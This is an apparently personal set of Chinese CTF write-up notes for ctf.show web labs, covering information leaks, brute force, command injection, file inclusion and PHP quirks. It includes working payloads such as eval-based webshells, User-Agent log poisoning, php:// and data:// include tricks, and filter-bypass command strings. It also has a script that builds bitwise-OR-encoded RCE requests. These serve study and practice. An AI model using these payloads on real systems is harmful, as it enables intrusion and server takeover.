[Toc]
Web入门 信息收集 web-1 1 开发者开发不仔细,注释留在了前端界面,通过检查界面源代码发现漏洞和flag,得到的flag可能是编码之前的,所以需要进行base64解码或者其他方式解码
web-2 1 2 前端进行限制,无法查看页面源代码或者检查,通过view-source:url可以查看源代码 通过不断刷新进行F12检查也可以开启代码检查,然后禁用JavaScript
web-3 1 通过BP抓包,respond返回请求携带信息泄露(flag)
web-4 ==#如果是有明显的网站架构,可以优先扫描robots文件==
1 网页搜索引擎爬取网站的robots(.txt)文件,所以网站robots(.txt)文件也会信息泄露(flag)
web-5 1 phps文件泄露,若目录扫描到,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。用户访问phps文件就能看到对应的php文件的源码。其中可能有flag
web-6 1 网站管理者处理备份文件不当,在更新网站的过程中留下了网站源码的备份文件
1 2 3 4 5 6 网站备份压缩文件,漏洞成因,在网站的升级和维护过程中,通常需要对网站中的文件进行修改。此时就需要对网站整站或者其中某一页面进行备份。 当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站 web 目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。 该漏洞的成因主要有是管理员将备份文件放在到 web 服务器可以访问的目录下。 该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。 被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。 网站备份文件后缀:.rar .zip .7z .tar.gz .bak .swp .txt
web-7 1 开发人员在开发时,常常会先把源码提交到远程托管网站(如github),最后再从远程托管网站把源码pull到服务器的web目录下,如果忘记把.git文件删除,就造成此漏洞。利用.git文件恢复网站的源码,而源码里可能会有数据库的信息。
1 2 .gitignore (配置在git进行文件跟踪的时候忽略掉哪些文件 , 从这个文件一般也可以得到一部分网站的目录结构 , 或者一些日志/配置文件等敏感文件) 在一个目录中初始化一个仓库以后 , 会在这个目录下产生一个名叫 .git 的隐藏文件夹(版本库)这个文件夹里面保存了这个仓库的所有版本等一系列信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 1. 什么是版本控制? 版本控制(Revision control)是一种在开发的过程中用于管理我们对文件、目录或工程等内容的修改历史,方便查看更改历史记录,备份以便恢复以前的版本的软件工程技术。简单来说就是用于管理多人协同开发项目的技术。 2. 为什么要有版本控制? 没有进行版本控制或者版本控制本身缺乏正确的流程管理,在软件开发过程中将会引入很多问题,如软件代码的一致性、软件内容的冗余、软件过程的事物性、软件开发过程中的并发性、软件源代码的安全性,以及软件的整合等问题。无论是工作还是学习,或者是自己做笔记,都经历过这样一个阶段!我们就迫切需要一个版本控制工具。(多人开发就必须要使用版本控制) 使用版本控制之后可以给你带来的一些便利: ● 实现跨区域多人协同开发 ● 追踪和记载一个或者多个文件的历史记录 ● 组织和保护你的源代码和文档 ● 统计工作量 ● 并行开发、提高开发效率 ● 跟踪记录整个软件的开发过程 ● 减轻开发人员的负担,节省时间,同时降低人为错误 3. 常见的版本控制工具 主流的版本控制器有如下这些: ● Git ● SVN(Subversion) ● CVS(Concurrent Versions System) ● VSS(Micorosoft Visual SourceSafe) ● TFS(Team
web-8
web-9 ==dirsearch扫描不出这个文件==
1 vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,如果网站管理员没有删.时可以通过缓存文件来得到原文件,以index.php来说,第一次退出,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为.index.php.swo,第三次退出后文件名为.index.php.swn
web-10
web-11
web-12 1 不要忘记robots.txt,有时候网站管理者的账号或者邮箱就是密码
web-13 1 多在网页点点,特别是网页底部,不要过于相信dirsearch
web-14 1 网页源码泄露路径,editor编辑框的上传文件里面的文件空间会泄露整个服务器文件系统,拿到网站的flag
web-15 1 网站管理者邮箱泄露信息,通过邮箱的信息收集可能回答出密保问题
web-16 1 默认探针为tz.php,里面可以对数据库密码进行测试,也含有phpinfo,phpinfo里面可以查看当前php的环境变量和一些函数,从而得到flag
web-18 1 查看js文件,发现Unicode编码文件,可以F12直接console改js数值 sorce=130;game_over=false;执行run()拿到110.php,拿到flag
web-19 ==只要是前端验证,都可以通过bp进行抓包改包==
1 不要忘记burp,只要是前端验证,都可以通过bp进行抓包改包,前端的js代码很重要,可以掌控很多事情,很多地方也是通过前端进行验证的,多多尝试编码格式,我这道题的编码格式是Hex
web-20 1 mdb数据库文件泄露,mdb是早期的access和asp数据库,后缀是mdb,也别忘记在扫描出的目录后面接着扫描
web-21
爆破 web-21 1 2 3 4 5 6 7 8 9 10 11 在类似表单提交的应用中 表单数据请求应为: Authorization: Basic YWRtaW46cGFzc3dvcmQ= Basic 后面为数据,我这道题的内容格式(一般需要进行Base64解码)为(username):(password) 我们对YWRtaW46cGFzc3dvcmQ=进行设置攻击变量 这道题因为给的字典只有密码所以猜测username是admin 所以在payload处理添加规则固定前缀是admin:(这里是表单数据格式)和base64编码(因为前端拦截数据进行了编码) 因为我们前面添加规则对我们的数据进行base64编码了,则在payload编码处取消编码,免得二次编码 进行攻击: 状态码200成功回显,拿到flag
web-22 1 360quake 使用空间搜索引擎360quake 搜索语法domain="ctf.show" 可以搜索出子域名vip.ctf.show 可以发现子域名vip.ctf.show下面有flag--->flag{ctf_show_web}
web-23 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 方法1 : 进入靶场后测试token=1 --->http://37c4bbc1-3a2d-4e5a-a812-13a0db1e1793.challenge.ctf.show/?token=1 然后进入intruder模块 给1 添加payload 开始爆破 发现第422 位和第1202 位长度不同 得知十分的不对劲 点进去响应包发现有flog--->ctfshow{f9bebf73-0d20-4d9d-a196-76390fe945d7} 方法2 : 写一个脚本让它算出来实际的值 通过给出的源代码可知,我们要传入一个参数(token)的值 算出token的md5的值将第2 位与第15 位比较,第15 位与18 位比较(2 位=15 位=18 位) 再算md5的整数值,(第2 位+第15 位+第18 位)/(第2 位)=(第32 位)则拿到flag 编写脚本: import hashlib def is_valid_token (token ): md5_hash = hashlib.md5(token).hexdigest() if (md5_hash[1 ] == md5_hash[14 ] == md5_hash[17 ]): x = int (md5_hash[1 ], 16 ) if (3 * x) / x == int (md5_hash[31 ], 16 ): return True return False for i in range (1000000 ): token = str (i).encode() if is_valid_token(token): print (f"Valid token found: {i} " ) break
==一定要有自己读代码的能力和写脚本的能力==
inval函数说明 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 intval () 函数用于获取变量的整数值。intval () 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval () 不能用于 object ,否则会产生 E_NOTICE 错误并返回 1 。PHP 4 , PHP 5 , PHP 7 语法 int intval ( mixed $var [, int $base = 10 ] )参数说明: $var :要转换成 integer 的数量值。$base :转化所使用的进制。如果 base 是 0 ,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 "0x" (或 "0X" ) 的前缀,使用 16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。 返回值 成功时返回 var 的 integer 值,失败时返回 0 。 空的 array 返回 0 ,非空的 array 返回 1 。 最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647 。举例,在这样的系统上, intval ('1000000000000' ) 会返回 2147483647 。64 位系统上,最大带符号的 integer 值是 9223372036854775807 。 字符串有可能返回 0 ,虽然取决于字符串最左侧的字符。 <?php echo intval (42 ); echo intval (4.2 ); echo intval ('42' ); echo intval ('+42' ); echo intval ('-42' ); echo intval (042 ); echo intval ('042' ); echo intval (1e10 ); echo intval ('1e10' ); echo intval (0x1A ); echo intval (42000000 ); echo intval (420000000000000000000 ); echo intval ('420000000000000000000' ); echo intval (42 , 8 ); echo intval ('42' , 8 ); echo intval (array ()); echo intval (array ('foo' , 'bar' )); ?>
web-24 1 2 3 这里要注意 需要知道伪随机数的概念 如果随机数种子定了 那么产生的随机数就是确定的 这里有个坑 php版本不一定要和靶场一样 网上找一个那种php在线运行环境即可 phpstudy的目录索引功能的开启不是要删除目录首页读取的,只用删除文件里面的目录首页就可以了
mt_rand函数说明 1 2 高版本已经弃用了这个函数,因为这个函数生成的是伪随机数,会根据系统生成随机数,只要随机数种子固定,生成的这个随机数也是固定的 如果再次调用的话会再次进行伪随机
根据随机数爆出随机种子 这个工具我下载在了kali上,以下是它的用法:
web-25 1 2 3 根据源码可知,开始令r=0可以得到一个随机数,但是后面要修改token的cookie使之等于第二次随机数和第三次随机数之和 Cookie: token=随机数之和 使用php_mt_seed爆出随机种子
web-26 ==多bp手动抓包,然后观察正常页面没有的页面(这题是checkdb.php),虽然不一定能访问,但是能分析==
web-27 ==不要用单一浏览器抓包,Chrome>firefox>edge==
1 2 3 4 5 6 7 8 先登录界面,发现有爆破信息(给了一部分学生信息),又有爆破点(学生信息查询界面),尝试对学生信息进行爆破 用burp抓包post请求,修改post请求,进行日期爆破 日期格式:yyyyMMdd #y:年份,M:月份,d:天 抓取回显长度不同的Unicode解码 拿到学号和密码进入系统,拿到flag \u989d\nsdsd9\:一般都是Unicode编码
web-28 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 302状态码: HTTP 状态码 302 表示临时重定向(Found),即客户端请求的资源暂时位于另一个 URL,且未来的请求可能会继续使用原始 URL。 302 状态码的作用: 临时重定向:当服务器返回 302 响应时,它告诉客户端请求的资源已被暂时移至新的 URL,但这个移动是临时的。客户端在将来仍然应该继续使用原始 URL 进行请求。 搜索引擎优化(SEO):与 301 永久重定向不同,302 重定向通常不会影响搜索引擎对原始 URL 的排名,因为它表明资源将在未来可能恢复使用原 URL。因此,搜索引擎不会将排名从旧 URL 转移到新 URL。 浏览器行为:当浏览器收到 302 响应时,它会自动重定向到新的 URL,但在以后的请求中仍然使用原 URL。 例子: 假设你访问了 http://example.com/page,服务器返回 302 状态码并提供一个临时的新 URL http://example.com/temporary-page,那么浏览器会跳转到新 URL,但它会继续使用原 URL 进行后续请求。 302 与 301 区别: 302 是临时重定向,意味着资源可能会在未来恢复使用原 URL,搜索引擎排名不会发生变化。 301 是永久重定向,意味着资源已永久迁移到新 URL,搜索引擎会将排名转移到新 URL。 常见场景: 维护模式:如果网站正在进行维护,临时将访问者重定向到一个维护页面,之后会恢复正常页面。 A/B 测试:网站可能会临时将流量导向不同的页面版本进行测试,测试结束后会恢复使用原 URL。 临时内容变化:当一个资源的内容或位置暂时改变时,使用 302 重定向指向新的位置,未来可能恢复原地址。 302 和其他临时重定向的区别: 301 与 302 都是重定向状态码,但 302 更明确地表示资源是临时的。 也有其他类似的临时重定向状态码,如 303 (See Other) 和 307 (Temporary Redirect),它们在行为上有一些细微的不同,但整体上都表示重定向是临时的。 总的来说,302 状态码适用于当你知道资源位置会发生变化,但又不想立即影响搜索引擎排名时。
1 2 3 这道题是将302重定向回到了原url,然而原url也没有此资源,结果又重定向到新url,新url又重定向到原url,就一直循环 这道题我们要将请求的资源去掉进行攻击,也就是2.txt去掉,这样无法的访问的就返回403,就成功找到了url,拿到flag
命令执行 web-29 可以使用php伪协议进行绕过
1 2 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 其中?>代替分号
也可以使用linux命令直接查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ?c=system("tac%20fla*"); #这个;千万不要忘记 #如果进行了文件黑名单可以使用*绕过 cat $(ls | head -n 1) head -n 1:获取列表中的第一个文件。 用egrep效果一样egrep=grep -E ?c=system("cat fl*g.php | grep -E 'fl.g' "); ?c=system("cat fl*g.php"); 倒序输出文本 ?c=system("tac fl*g.php"); 复制文本至a.txt ?c=system("cp fl*g.php a.txt "); 访问/a.txt 直接输出一个php这样就可以直接利用代码了,注意也是右键查看源代码 c=system('echo -e " <?php \n error_reporting(0); \n \$c= \$_GET[\'c\']; \n eval(\$c); " > a.php'); /a.php?c=system("tac flag.php");
==eval函数不支持数组,所以这题不适用数组绕过==
也可以使用一句话木马
1 2 ?c=eval($_POST['yyssh']); eval函数里面再包含eval
web-30 与上一题类似
php执行系统命令函数 system 1 2 3 4 5 6 说明:执行外部程序并显示输出资料。 语法:string system(string command, int [return_var]); 返回值: 字符串 详细介绍: 本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果。若是 return_var 参数存在,则执行 command 之后的状态会填入 return_var 中。同样值得注意的是若需要处理用户输入的资料,而又要防止用户耍花招破解系统,则可以使用 EscapeShellCmd()。若 PHP 以模块式的执行,本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区。若需要完整的返回字符串,且不想经过不必要的其它中间的输出界面,可以使用 PassThru()。
1 2 $last_line = system("ls", $retval); echo "Last line of the output: " . $last_line;
exec和shell_exec 1 2 3 4 5 6 7 8 9 10 说明:执行外部程序。 语法:string exec(string command, string [array], int [return_var]); 返回值: 字符串 详细介绍: 本函数执行输入 command 的外部程序或外部指令。它的返回字符串只是外部程序执行后返回的最后一行;若需要完整的返回字符串,可以使用 PassThru() 这个函数。 要是参数 array 存在,command 会将 array 加到参数中执行,若不欲 array 被处理,可以在执行 exec() 之前呼叫 unset()。若是 return_var 跟 array 二个参数都存在,则执行 command 之后的状态会填入 return_var 中。 值得注意的是若需要处理使用者输入的资料,而又要防止使用者耍花招破解系统,则可以使用 EscapeShellCmd()。
popen 1 2 3 4 5 6 7 popen函数 说明:打开文件。 语法:int popen(string command, string mode); 返回值: 整数 详细介绍: 本函数执行指令开档,而该文件是用管道方式处理的文件。用本函数打开的文件只能是单向的 (只能读或只能写),而且一定要用 pclose() 关闭。在文件操作上可使用 fgets()、fgetss() 与 fputs()。若是开档发生错误,返回 false 值。
1 $fp = popen( "/bin/ls", "r" );
passthru 1 2 3 原型:function passthru(string $command,int[optional] $return_value) 知识点:passthru与system的区别,passthru直接将结果输出到游览器,不返回任何值,且其可以输出二进制,比如图像数据。
反撇号`(和~在同一个键)执行系统外部命令 1 2 3 4 知识点:在使用这种方法执行系统外部命令时,你要确保shell_exec函数可用,否则是无法使用这种反撇号执行系统外部命令的。 安全性说明 当你使用这些函数执行命令时,如果是根据用户提交数据作为执行命令的话,你需要考虑系统安全性,可以使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令,escapeshellcmd()针对的是执行的系统命令,而escapeshellarg()针对的是执行系统命令的参数。这两个参数有点类似addslashes()的功能。
开发人员查看文件内容 show_source(scandir(“.”)[0]); 1 2 3 4 5 6 7 8 9 10 11 12 在 PHP 中,show_source() 函数用于输出指定文件的源代码。它可以帮助开发人员查看文件的内容,通常用于调试或学习目的。scandir() 函数则用于返回指定目录中的文件和目录列表。 让我们逐步解析你提供的代码 show_source(scandir(".")[0]);: scandir():这个函数用于扫描指定目录并返回该目录中文件和子目录的数组。它的第一个参数是目录路径。 ".":表示当前工作目录。调用 scandir(".") 将返回当前目录中的所有文件和目录。 scandir(".")[0] [0]:这是数组的索引访问,表示获取 scandir() 返回的数组中索引为 0 的元素。 show_source() show_source(filename):此函数接受一个文件名作为参数,并输出该文件的源代码。它会以 HTML 格式显示源代码,并且可以高亮显示语法。
highlight_file(next(array_reverse(scandir(“.”)))); 1 2 3 4 5 6 7 8 9 10 11 12 13 array_reverse():该函数接受一个数组并返回该数组的反转版本。也就是说,数组的最后一个元素将变为第一个,依此类推。 next():这个函数用于将数组指针向前移动一个位置,并返回当前指针所指向的元素。它会影响数组的内部指针。 假设我们对反转后的数组使用 next(),如果数组是: Array ( [0] => "dir1" [1] => "file2.php" [2] => "file1.php" ) 调用 next() 后,当前指针将指向 "file2.php",并返回这个值。 highlight_file(filename):这个函数接受一个文件名作为参数,并输出该文件的源代码,同时以 HTML 高亮显示。这个函数通常用于调试和查看 PHP 文件的内容。
web-31 show_source(next(array_reverse(scandir(pos(localeconv()))))); 1 2 3 4 5 6 7 localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"." current()返回数组中的单元,默认取第一个值: pos():这个函数用于返回数组的第一个值,并将内部指针移到数组的第一个元素。它可以用于获取数组的第一个元素。 pos是current的别名 如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE
?c=$f=glob(“f*”);show_source($f[0]); 1 2 glob():这个函数用于根据给定的模式查找文件路径。它返回一个数组,其中包含与模式匹配的文件名。 "f*":这是一个通配符模式,表示匹配所有以字母 f 开头的文件名。例如,它可能匹配到 file1.txt、foo.php 等文件。
1 2 3 4 5 6 7 8 9 10 11 假设当前目录包含以下文件: file1.txt foo.php bar.txt 调用 glob("f*") 将返回一个数组: Array ( [0] => "file1.txt" [1] => "foo.php" )
==获取绝对路径可用的有getcwd()
和realpath('.')
所以我们还可以用print_r(scandir(getcwd()));
输出当前文件夹所有文件名==
如果要获取的数组是最后一个我们可以用:
1 show_source (end (scandir (getcwd ())));
ps:**readgzfile()
也可读文件,常用于绕过过滤**
1 readgzfile() 可用于读取非 gzip 格式的文件; 在这种情况下,readgzfile() 将直接从文件中读取而不进行解压缩。
web-32 php中不需要()的函数 1 2 3 4 5 6 7 echo 123; print 123; die; include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "etc/passwd";
换一种方法的UA注入 1 2 url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log /var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可
web-33 1 2 跟上一道题一样的注入,但是解释一下为什么这后面的.不会被过滤 因为preg_match函数只过滤前面变量c的内容,对变量1的内容不进行过滤
1 2 3 4 这个协议也可以换成php://input 改变请求,再加一个请求主体 data://text/plain,后面接一句话木马或者注入内容
web-34\35\36
web-37\38 1 2 这关其实换汤不换药,把命令执行换成了include,但是依然可以UA一句话木马 或者伪协议data://text/plain,
web-39 1 2 3 4 5 这关因为在get请求数据后面衔接.php所以不能进行编码绕过 #因为是先进行衔接再进行data流解析 所以直接输入data://text/plain,<?php @eval($_POST['yyssh'])?> 因为include只解析<php包含内容>,当然也可以用//把后面的部分给注释掉
web-40 GET和POST请求分离 1 2 3 4 5 6 7 8 9 10 这道题过滤的其实是中文括号,所以可以用无参数命令绕过 show_source(next(array_reverse(scandir(pos(localeconv()))))); ?c=eval(next(reset(get_defined_vars())));&1=system("tac%20flag.php"); 这里采用自变量偏移,先在前面偏移一个变量,然后再自己设置变量1,将next指针指向了system这段函数 get_defined_vars():这个函数返回当前作用域中定义的所有变量的数组。 reset():重置数组的内部指针,返回数组的第一个元素。 next():将内部指针向前移动一个位置,并返回当前指针所指向的元素。
==他这道题还隐藏着一个什么都没有过滤的POST(参数都没有,可以直接写入)的请求==
1 2 3 4 5 6 7 8 9 ?c=print_r(get_defined_vars()); //打印当前作用域有哪些数组 发现一个POST请求数组,发现可以随意写入,没有参数 1=phpinfo(); GET: ?c=eval(array_pop(next(get_defined_vars()))); POST: 1=system('tac flag.php'); 执行任意命令
web-41 执行常见系统命令/函数 1 2 3 4 5 6 7 8 9 10 11 常见的系统命令可以进行命令执行: awk 格式:awk'{printf $0;}'flag.php || 该命令意思是其全局检索flag.php内容并输出 cat/tac 读取,tac是cat的倒向读取 nl 读取文件,并在文件的每一行前面标上行号 vi/vim 编辑器,可以实现查看文件 od 二进制方式读取文件内容 more 类似于cat mv/cp 复制,但是可以通过复制的文件输出 file -f 报错出具体内容 uniq 也可以读取文件内容,但是会去重 ls 读目录
Exp脚本编写 1 2 3 4 这道题实行了严格的过滤,对所有的数字、字母、以及大部分字符标点符号,但是遗留了||按位或运算符 所以这道题的绕过想法是将没有被过滤的代码进行按位或运算生成一个命令执行字符串 首先第一步筛选出没有被过滤的字符,然后将没有被过滤的字符进行按位或运算,得到新的字符 因为没有被过滤的字符还有很多,生成的新字符也有很多,所以这里我们采用编写脚本
生成字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php $myfile = fopen ("rce_or.txt" , "w" ); $contents ="" ; for ($i =0 ;$i <256 ;$i ++) { for ($j =0 ;$j <256 ;$j ++) { if ($i <16 ) { $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ) { $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))) { echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents ); fclose ($myfile ); ?>
拿到我们想要的新字符,可以进行RCE的,这里我们用system来进行举例
1 2 这里有两种办法,一种是去文本文件里面,直接搜索我们要的新字符,然后一个一个写入 还有一种是通过编写脚本,帮助我们查询新字符,并合成字符串,发送至URL
查询字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import urllib import requests from sys import * import os os.system("php web22.php" ) if len (argv)!=2 : print ("-" * 50 ) print ("你输入的不正确" ) print ("输入格式为:python 脚本名 url" ) exit(0 ) url=argv[1 ] def action (act ): s1="" s2="" f=open ("rce_or.txt" ,"r" ,encoding="UTF-8" ) for i in act: f.seek(0 ) for line in f: Acm=line cm=Acm[0 ] if cm==i: s1+=Acm[2 :5 ] s2+=Acm[6 :9 ] break output = "(\"" + s1 + "\"|\"" + s2 + "\")" print (output) f.close() return output while True : param=action(input ("RCE_function:" ))+action(input ("Command:" )) data={ 'c' :urllib.parse.unquote(param) } r=requests.post(url,data=data) print (f"Web41_flag:\n{r.text} " )
==这里systemls不用加;(分号),最开始进行按位或运算,已经把这段代码当作php代码执行了==
对上面一些函数的解释
argv 1 2 argv是sys库的一个函数 argv[0]:脚本名 argv[1]:用户输入的第一个参数
urllib.parse.unquote
web-42 1 2 采用将命令输出重定向的黑洞(/dev/null)的过滤 我们可以采用命令分隔符把后面的命令重定向,前面的命令照常输出
命令分隔符 1 2 3 4 5 ; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
web-43/44 1 钱白花了,就是跟前面一样的cat和flag过滤,运用*或者tac就可以绕过了
web-45 ==空格绕过新知识==
1 2 3 ${IFS}绕过:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。 $IFS$9绕过:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
讲解一下这个IFS 1 2 3 IFS在Linux中就是一个系统变量,$IFS就表示分隔符,但是单纯的cat$IFS2,无法输出,是因为系统把IFS2整体当作变量了 所以可以使用{IFS}把这个变量名给固定住,cat${IFS}2,成功执行 如果{}被过滤则可以cat$IFS$9,$9系统变量空字符串打断IFS的变量名,cat$IFS$92,也可以成功执行
1 2 3 4 5 6 cat flag.txt cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt {cat,flag.txt}
web-46\47\48\49\50\51 1 2 3 4 5 6 7 8 9 10 *号被过滤,可以用?号\号''号替代 cat fl?g.php cat fla\g.php cat flag''g.php 如果cat被过滤 ca''t flag.php ca\t flag.php 其他的跟前面一样
web-52\53\54 1 2 3 这题阴了一手,过滤还是常规过滤,但是flag在根目录下 补充: ls如果展开是一个路径的话,说明这个东西是一个文件
web-55/56 1 2 3 4 5 6 7 8 9 由于题目没有过滤掉数字,所以才用linux自带的base64编码输出,将flag输出 payload: ?c=/???/????64 ????.??? 意思为:?c=/bin/base64 flag.php ?c=/???/???/????2 ????.??? 意思为:?c=/usr/bin/bzip2 flag.php 最后访问url/flag.php.bz2即可
还可以通过$命令执行
1 2 3 4 $'...' 是 Bash 中的一个特性,表示支持特殊字符(比如通过八进制、十六进制或 Unicode 字符)的字符串。 payload: $'\164\141\143' $'\146\154\141\147\56\160\150\160' 意思是:tac flag.php
/bin/sh命令执行 1 2 3 4 因为在linux里面.就代表sh命令 sh命令我们就理解为打开终端 然后我们自己上传一个文件,这个文件会产生一个临时文件在tmp目录下 我们用sh命令打开这个临时文件,文件内容就是命令输入,这样就会造成sh执行注入命令
首先拿到这个网页的文件上传模板,先构造一个文件上传,然后burp抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST数据包POC</title > </head > <body > <form action ="http://4db3939d-5503-445b-9328-124df867dd3e.challenge.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
然后通过修改这个数据包,达到命令执行
1 2 3 4 5 6 7 8 9 10 构造GET参数payload为: ?c=.%20/???/????????[@-[] 意思为:?c=. /tmp/D.phpphpXXX //tmp目录会保留D.phpphp的临时文件后面是随机字母 文件名直接全部用?替代 网页文件tmp目录大以phpXXX结尾 也有可能是小写字母,所以没回显的话,需要多尝试,[@-[]表示@到[之间的字符,这里是包括有所有大写字母 构造POST参数payload为: #!/bin/sh cat flag.php
web-57 1 2 3 4 5 这题属于知识拓展,$(())=0,$((~$(())))=-1,里面默认式子相加也就是 $((~$(()))~$(()))))=-1+(-1)=-2 这题要我们构造出36也就是将-37进行取反,他这里取反会少一,原理是二进制的按位取反 这里我们采用多在虚拟机上实验 然后用python脚本构造payload #总不能自己手打37个吧,脚本的作用就是替代重复的工作
web-58\59 1 2 3 4 没有过滤include,可以使用include加php伪协议绕过 使用c=copy("flag.php","flag.txt") renama,highlight_file,show_source这些函数都没有被过滤
web-60/61/62 php扫描文件 1 c=print_r(scandir(dirname('_FILE_')));
查看目录 1 2 3 c=print_r(scandir("路径")); c=print_r(scandir("..")); c=var_dump(scandir("路径"));
web-63 1 2 这道题我尝试了不同的方法,因为他没有禁用include的函数,我让他包含了/var/log/nginx/access.log的进行了UA注入,然后用蚁剑进行POST连接,成功的拿到了shell,但是这道题所有的文件打开都是空白,通过将蚁剑的代理到Burpsuite,通过抓包,发现它通过PHP fread函数读取文件内容,但是这道题使用了disable_function函数把fread函数给禁用了,所以打开文件内容是空白 所以这道题还是通过php伪协议拿到flag
web-64/65/66/67/68 1 2 这道题flag不在当前目录下,所以需要查看目录 c=print_r(scandir("/"));
有一个新的思路,通过PHP的原生类,new一个对象出来,然后echo这个对象
1 c=$dir=new DirectoryIterator("/");echo $dir;
php中常用的原生类 Error
implode函数 1 2 3 4 5 6 7 8 9 10 11 12 13 implode 函数用于将数组的元素连接成一个字符串,数组的每个元素会根据指定的分隔符连接起来。 string implode ( string $glue , array $pieces ) $glue:一个字符串,作为连接数组元素的分隔符。如果你不想要任何分隔符,可以传入空字符串("")。 $pieces:一个数组,包含要连接的元素。 $array = ["apple", "banana", "cherry"]; $result = implode(", ", $array); echo $result; // 输出:apple, banana, cherry implode($array,",");==implode(",",$array); 逆序也可以使用
所以我们先用查看当前目录或者其他目录
1 echo (implode ("--" ,scandir ("." )));
也可以转成json格式使用json_encode函数
1 c=echo json_encode (scandir ("/" ));
然后读取文件include或者readgzfile
文件包含 web-78
web-79 1 2 3 4 5 跟常规的命令执行一样,伪协议或者UA注入 但是wp给了一个新的方法 远程加载,先用file=https://www.baidu.com/robots.txt 发现可以正常读取,那我们搞一个,自己网站的命令执行文件,然后file参数传入成功进行远程命令执行
web-88
php特性 web-89 1 2 3 数组绕过intval,空数组intval返回0,有参数组返回1 url数组传参是:?num[]=s 解析为num这个数组有s这个元素,不是?num=array('s')这样传入的只是一个字符串
web-90 1 2 3 4 5 6 7 8 9 10 11 12 intval自定义进制强比较绕过 if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 )可以通过intval函数自定义进制,取反,算数运算符 4476 =0x117c ,4476 =010574 ,4476 =+4476 ,4476 =~~4476 (这个绕过不一定成功,因为,GET请求读取参数会把参数转变成字符串),4476 =4476e0 ,4476 =4476 abc,4476 =2238 *2 (这个绕过不一定成功,因为,GET请求读取参数会把参数转变成字符串,所以只读取了2238 )
web-91 1 2 3 因为这先使用了/m操作对每一行进行正则匹配,所以 payload: 1%0aphp
web-92/93/94/95
web-96 1 2 3 可以使用php伪协议进行绕过, 这里进行了测试,正常读取传参的值是一个字符串。 只有特定的函数(大部分与文件操作相关的),才会取解析php伪协议流,例如这题highlight_file
文件上传 web-151 1 前端验证,浏览器检查改代码,或者burp拦截抓包改包都行
web-152
反序列化 web-254
XSS web-316 Web web-3 1 2 3 文件包含漏洞: 1.可以先探测一波文件包含漏洞,他直接将payload include的话,我们尝试写入/etc/passwd 2.如果有回显的话漏洞存在,没有则无
==蚁剑只能连http==
1 User-Agent 注入一句话木马(以下简称UA)如果有文件包含漏洞,则可以访问它的日志/var/log/nginx/access.log,从而拿到webshell
==User-Agent 注入一句话木马==
